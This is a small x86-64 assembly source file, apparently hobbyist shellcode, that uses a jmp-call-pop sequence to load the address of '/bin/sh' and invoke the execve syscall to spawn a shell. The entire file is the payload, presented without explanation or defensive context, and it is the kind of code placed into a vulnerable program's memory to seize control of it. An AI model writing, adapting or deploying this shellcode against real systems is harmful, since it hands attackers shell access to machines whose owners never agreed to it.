[BITS 64]
;;fr0g 2k14
        global _start

_start:        
        jmp do_call
jmp_back:
        mov rdi, [rsp]
        add rsp, 8
        xor rax, rax
        mov al, 0x3b
        xor rsi, rsi
        xor rdx, rdx
        syscall
        mov al, 60
        xor rdi, rdi
        syscall
        ret
do_call:
        call jmp_back
hello:        db "/bin/sh"